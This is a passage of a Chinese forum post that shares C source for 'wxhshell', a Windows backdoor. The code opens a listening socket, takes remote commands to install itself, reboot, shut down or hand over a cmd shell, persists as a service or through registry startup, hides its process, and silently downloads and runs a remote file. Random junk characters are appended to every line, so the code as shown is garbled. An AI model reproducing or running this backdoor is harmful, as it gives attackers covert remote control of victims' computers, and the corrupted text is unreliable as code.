  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T<\!7 RnLc  
  } s?j` _ B  
  else { C6-71 `C0  
z 5T_  
    switch(cmd[0]) { ~qk5Mk4$  
  ~sd+ch*  
  // 帮助 H /kSFf{  
  case '?': { +Je(]b @  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &;D(VdSr9  
    break; @n-[bN  
  } ]nEZ Q+F  
  // 安装 ?\eq!bu  
  case 'i': { v@8 =u4  
    if(Install()) 6axDuwQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ckelr  
    else 7i,Z c]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `9+>2*k  
    break; 2L'vB1 `  
    } wGXnS"L!  
  // 卸载 @L)=epC  
  case 'r': { e>:bV7h j~  
    if(Uninstall()) c2,1d`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ot]Y/;K  
    else 2I 2#o9(Ar  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w# t[sI"IT  
    break; ,s?7EHtC  
    } LHt{y3l]  
  // 显示 wxhshell 所在路径 ]Gm $0uS  
  case 'p': { ~sI$xX!  
    char svExeFile[MAX_PATH]; ]lKQ wpX3  
    strcpy(svExeFile,"\n\r"); 6__#n`  
      strcat(svExeFile,ExeFile); T2nbU6H  
        send(wsh,svExeFile,strlen(svExeFile),0); 7H1 ii   
    break; 5g{L -8XwI  
    } `3v! i   
  // 重启 6+:Tv2  
  case 'b': { RawK9K_1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1>doa1  
    if(Boot(REBOOT)) x}w"2[fL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *acN/Ca1  
    else { (Oc[j{6q  
    closesocket(wsh); R"au8f.  
    ExitThread(0); 2hjR'6h"Y  
    } 1D,$Az~.  
    break; ^Ms)T3dM  
    } m]1= o7  
  // 关机 gZ5E%']sT  
  case 'd': { "iCR68e  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]m#.MZe  
    if(Boot(SHUTDOWN)) J| orvnkK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 09f:%!^u  
    else { Al^n&Aa+\  
    closesocket(wsh); 7VF^&6  
    ExitThread(0); \~(ww3e  
    } H?dmNwkPY  
    break; PgKA>50a  
    } 6~ *w~U  
  // 获取shell Wp0e?bK_  
  case 's': { Z=ayVsJ3  
    CmdShell(wsh); 5aF03+ko  
    closesocket(wsh); ,1\nd{  
    ExitThread(0); vZdn  
    break; Fb<r~2  
  } FBjIft5e  
  // 退出 AC=/BU3<yc  
  case 'x': { RP 2MtP"M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d(>7BV  
    CloseIt(wsh); X7I"WC1ncz  
    break; <p48?+K9  
    } ~zklrBn&  
  // 离开 FkdG@7Xf  
  case 'q': { d9zI A6y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %!r>]M <  
    closesocket(wsh); #?xhfSgr  
    WSACleanup(); &&0,;r, -)  
    exit(1); |(gq:O  
    break; t'uZho~^F  
        } Lp; {&=PIo  
  } 8{5Y%InL  
  } f`5e0;zm  
uzO%+B!  
  // 提示信息 iOB]72dh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }+[H~8)5  
} y.AF90Q>)  
  } ZQT14.$L  
m6a q_u{W  
  return; +\FTR  
} 5!ll #/ {`  
U!:Q|':=h  
// shell模块句柄 D6iHkDTg  
int CmdShell(SOCKET sock) ti:qOSIDTA  
{ Hno:"k?  
STARTUPINFO si; :X>%6Xj?RV  
ZeroMemory(&si,sizeof(si)); (+<SR5,/3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |Ire#0Nwx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Do7&OBI~  
PROCESS_INFORMATION ProcessInfo; <RmI)g>'_^  
char cmdline[]="cmd"; G: FP9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D?w?0b Eu  
  return 0; `.f<RVk-  
} 5oQy $Y  
Y{X79Rd  
// 自身启动模式 ^|@t2Rp@  
int StartFromService(void) h+k:G9;sS  
{ +OFq=M  
typedef struct `A@{})+  
{ iH& Izv  
  DWORD ExitStatus; N|c;Qzl  
  DWORD PebBaseAddress; O:fv1  
  DWORD AffinityMask; >9{Gdq[gyr  
  DWORD BasePriority; 1FU(j*~:  
  ULONG UniqueProcessId; }2Y:#{m  
  ULONG InheritedFromUniqueProcessId; &pS <4  
}   PROCESS_BASIC_INFORMATION; uBLI!N-G  
  5;+OpB  
PROCNTQSIP NtQueryInformationProcess; B\a-Q,Wf  
4,m aA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <4z |"(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B$aA=+<S  
?Kw~O"L8  
  HANDLE             hProcess; {n8mE,;M  
  PROCESS_BASIC_INFORMATION pbi; 3^l@!Qw  
Hm|8ydNs  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6[kp#  
  if(NULL == hInst ) return 0; Rh-e C6P  
!/G2vF"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TI-8I)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @Otom'O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); oD]tHuDa  
>Ha tb bA  
  if (!NtQueryInformationProcess) return 0; &MnS( 82L  
>3V{I'^^-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $:V'+s4o  
  if(!hProcess) return 0; h#9X0u7j  
[z$th  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OD !b*Iy|  
4y&%YLMpl  
  CloseHandle(hProcess); !|{T>yy  
6q ._8%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ${^WM}N  
if(hProcess==NULL) return 0; w-l:* EV8  
yTWP1  
HMODULE hMod; )Xxu-/-  
char procName[255]; UD`bK a`E  
unsigned long cbNeeded; RiC1lCE  
LutP&Ebt8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "ewSh<t  
_p/ _t76s  
  CloseHandle(hProcess); V|3}~(5=  
!6hUTjhW7z  
if(strstr(procName,"services")) return 1; // 以服务启动 _,:gSDW|  
( /{Wu:e  
  return 0; // 注册表启动 hER]%)#r  
} ,$ L>  
I/D (gY06<  
// 主模块 H(U`S  
int StartWxhshell(LPSTR lpCmdLine) 4(>|f_$  
{ [k-Q89  
  SOCKET wsl; %EA|2O.D  
BOOL val=TRUE; }p 0 \  
  int port=0; OnE#8*8  
  struct sockaddr_in door; iB1"aE3  
1e.V%!Xk  
  if(wscfg.ws_autoins) Install(); m,KG}KX  
XVcY?_AS#  
port=atoi(lpCmdLine); (LzVWz m  
Lu,72i0O ^  
if(port<=0) port=wscfg.ws_port; Tg|0!0qD]F  
zKB$n.H  
  WSADATA data; 2TB>d+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R7u&`  
$d 2mcwh\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1+|s   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t'Zq>y;yg  
  door.sin_family = AF_INET; wlk{V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +6tj w 6  
  door.sin_port = htons(port); ^6R?UG;6  
?-w<H!Y7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4lMf'V7*l  
closesocket(wsl); K TJm[44  
return 1; ? S^ U-.`  
} rEEoR'c6  
(D5 dN\  
  if(listen(wsl,2) == INVALID_SOCKET) { JGl0 (i*|  
closesocket(wsl); ha+)ZF  
return 1; D?ojxHe  
} z\wY3pIr2  
  Wxhshell(wsl); EM9K^l`  
  WSACleanup(); wp7<0PP  
)Y.H*ca  
return 0; [w&B>z=g$  
zvjp]yTx"  
} *Ii_dpJ  
wWjZXsOd  
// 以NT服务方式启动 #[$^M:X.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %mKM9>lf#  
{ *9J >3   
DWORD   status = 0; o9I=zAGjy  
  DWORD   specificError = 0xfffffff; Gf``0F)  
j4pxu/2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; LY Y3*d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9yla &XTD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; % NSb8@  
  serviceStatus.dwWin32ExitCode     = 0; <y4hK3wP  
  serviceStatus.dwServiceSpecificExitCode = 0; o~<ith$A*  
  serviceStatus.dwCheckPoint       = 0; >@?!-Fy5  
  serviceStatus.dwWaitHint       = 0; h"R{{y f2  
}7)iLfi  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z !HQ|')N5  
  if (hServiceStatusHandle==0) return; wD+4#=/j  
L\;n[,.  
status = GetLastError(); "m2g"x a\7  
  if (status!=NO_ERROR) ndW]S7  
{ _{$eOwB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r"HQ>Wn  
    serviceStatus.dwCheckPoint       = 0; "u29| OY  
    serviceStatus.dwWaitHint       = 0; pjG/`  
    serviceStatus.dwWin32ExitCode     = status; 'Lm\ r+$F  
    serviceStatus.dwServiceSpecificExitCode = specificError; W}^X;f  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zsM3 [2E*  
    return; D@.+B`bA  
  } g~ubivl2  
T$ w`=7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; LC8&},iu  
  serviceStatus.dwCheckPoint       = 0; BF)!VnJ  
  serviceStatus.dwWaitHint       = 0; VY9o}J>,w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #Y|t,x;  
} K"fr4xHq  
+UvT;"  
// 处理NT服务事件,比如:启动、停止 /:S&1'=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2Kg-ZDK8  
{ p;nRxi7'  
switch(fdwControl) o'Rr2,lVi  
{ 3 UXaA;  
case SERVICE_CONTROL_STOP: 7 LotN6H  
  serviceStatus.dwWin32ExitCode = 0; ^:hI bF4G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $W_sIS0\z  
  serviceStatus.dwCheckPoint   = 0; OoIs'S-Z#  
  serviceStatus.dwWaitHint     = 0; 4$W}6 v  
  { .|?UqZ(,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W"3YA+qpI  
  } yyZs[5Q  
  return; QVT|6znw  
case SERVICE_CONTROL_PAUSE: #E`wqI\'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; B7QuSo//  
  break; $0[t<4K`yn  
case SERVICE_CONTROL_CONTINUE: #{f%b,.yxt  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bX*>Zm   
  break; 8cKP_Ec  
case SERVICE_CONTROL_INTERROGATE: NC @L,)F  
  break; ^uCZO  
}; -d+o\qp"#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d U}kimz  
} I9VU,8~  
7cMHzh k^  
// 标准应用程序主函数 DH IC:6EY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G*N}X3H:o  
{ ==!k99`f,  
h85 kQ^%  
// 获取操作系统版本 %+8" -u  
OsIsNt=GetOsVer(); cPp<+ ts  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z79c30y]"  
j 3t,Cx  
  // 从命令行安装 %3kS;AaA  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y[~Dj@Q<  
zm~sq_=^  
  // 下载执行文件 %mFZ!(  
if(wscfg.ws_downexe) { <>71;%e;'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +eUWf{(_  
  WinExec(wscfg.ws_filenam,SW_HIDE); Bx" eX>A8  
} (qyT,K8  
+{b3A@f|F  
if(!OsIsNt) { ]yAOKmS  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,v@C=4'm  
HideProc(); 3'jH,17lWV  
StartWxhshell(lpCmdLine); dTTC6?yPXf  
} !5^&?plC@  
else qK-\`m  
  if(StartFromService()) -hU1wX%U  
  // 以服务方式启动 1}/37\  
  StartServiceCtrlDispatcher(DispatchTable); "K)ue@?  
else JIOeDuw+  
  // 普通方式启动 E{8-VmY  
  StartWxhshell(lpCmdLine); Sv>bU4LHf  
B;Dl2k^L  
return 0; ~q,Wj!>Ob  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八